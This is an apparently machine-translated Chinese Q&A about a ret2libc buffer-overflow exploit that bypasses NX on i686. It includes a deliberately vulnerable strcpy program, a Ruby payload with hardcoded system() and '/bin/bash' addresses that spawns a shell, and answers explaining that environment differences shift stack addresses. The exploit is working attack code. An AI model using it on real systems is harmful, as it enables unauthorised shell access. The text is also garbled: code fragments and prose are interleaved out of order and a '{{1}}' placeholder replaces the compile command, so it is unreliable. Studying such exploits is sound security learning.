我正在学习ret2libc缓冲区溢出攻击以绕过NX。
我易受攻击的代码(vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[512];
if (argc != 2)
printf("NO\n");
else {
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
}
使用此命令编译:{{1}}
然后我在ruby(exploit.rb)中创建了这个简单的ret2libc漏洞:
# gcc -o vuln vuln.c
如果它在带有p = "A"*524
p += [0xb7e9ef10].pack('<I') # system()
p += [0xb7e79e46].pack('<I') # nomal ret val
p += [0xbffff75a].pack('<I') # "/bin/bash"
print(p)
的gdb中运行它,它会给我一个不错的bash shell。
然后我尝试在(gdb) r $(ruby exploit.rb)
的普通shell中运行它,但不是给我一个shell而是给我这个:# ./vuln $(ruby exploit.rb)
我认为ASLR已被禁用,启用的唯一保护是NX。
感谢任何帮助。
修改
我在i686上运行此操作以防万一。
答案 0 :(得分:1)
转移的原因是执行环境。
user@feynman:~$ ./getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff82
user@feynman:~$ /home/user/getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff70
此处启动 getenv 的方式正在影响 PWN 的地址。
答案 1 :(得分:0)
您已完成代码执行,但SHELL env var
的地址已关闭。试试[address of shell in gdb] + 4
或gdb, x/s 0xbffff75a+4.